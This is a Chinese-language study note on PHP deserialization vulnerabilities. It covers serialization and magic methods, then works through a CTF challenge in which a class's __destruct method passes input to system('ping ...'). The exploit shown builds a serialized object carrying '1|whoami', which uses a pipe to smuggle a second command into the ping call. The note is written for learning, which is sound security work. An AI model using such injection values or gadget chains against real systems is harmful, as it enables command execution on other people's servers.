php反序列化漏洞学习笔记

0x01序列化与反序列化概述

PHP序列化是将一个对象、数组、字符串等转化为字节流便于传输
PHP反序列化是将序列化之后的字节流还原成对象、字符、数组等。但是PHP序列化是不会保存对象的方法

0x02 magic魔术方法总结

PHP面向对象变成中,有一类函数叫做magic function,魔术函数,这些函数是以__(双下划线)开头的,他们是一些当依照某些规则实例化类或者调用某些函数的时候会自动调用这些magic函数,这里说一下比较常见的例如__construct,__destory,
__sleep,__wakeup,__toString函数
__contstruct()函数:被称为构造函数,当实例化类的时候会自动调用函数构造函数,即当对象创建new时会自动调用。但在反序列化时不会自动调用
__destruct()函数:被称为析构函数,当类结束(对象销毁)的时候自动调用函数
__sleep()函数:当PHP进行序列化操作(serialize)的时候自动调用函数,可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误
__wakeup()函数:进行反序列化(unserialize)的时候自动调用
__toString()函数:当对象被当做字符串的时候会自动调用函数

<?PHP
class Test
{
    public $name;
    public function __construct($name) 
    {
        $this->name = $name;
    }

    public function __toString() {
        return $this->name;
    }
}

$a = new Test('Tom');
echo $a;
?>

输出为Tom

0x03 serialize()与 unserialize()

<?PHP
class Test
{
    public $name = 'Tom';
}

$a = new Test;
$aa = serialize($a);
print($aa)
?>

输出结果为

O:4:"Test":1:{s:4:"name";s:3:"Tom";}

O代表object,4代表对象名字为4个字符,Test是名称,1代表一个变量,大括号内的s代表类型为字符串类型,string。同理其他数字代表字符数。

<?PHP
	class Test{
		public $name = 'Tom';
	}
	$name = 'O:4:"Test":1:{s:4:"name";s:3:"Tom";}';
	print($name);
	echo "</br>";

	$name_new = unserialize($name);
	print_r($name_new);
?>

输出结果:
O:4:“Test”:1:{s:4:“name”;s:3:“Tom”;}
Test Object ( [name] => Tom )

0x04 百越杯中的一道反序列

<?PHP

class test{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        
      
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

    function ping($host){
        system("ping -c 2 $host");
    }
    function waf($str){
        $str=str_replace(' ','',$str);
        return $str;
    }

    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim(MysqL_escape_string($v)));
        }
    }   
}

$method参数传入的是ping命令,接着通过ping本机执行sysyem命令system("ping -c 2 $host"),通过改变$host参数,而我们可以构造命令host
ping完后利用“|”管道符执行whoami命令,如下所示。
exp

$cmd = new test("ping",array("1|whoami"));
$a = serialize($cmd);
print_r($a);
serialize($a);

相关文章

统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...
统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...
前言 之前做了微信登录,所以总结一下微信授权登录并获取用户...
FastAdmin是我第一个接触的后台管理系统框架。FastAdmin是一...
之前公司需要一个内部的通讯软件,就叫我做一个。通讯软件嘛...
统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...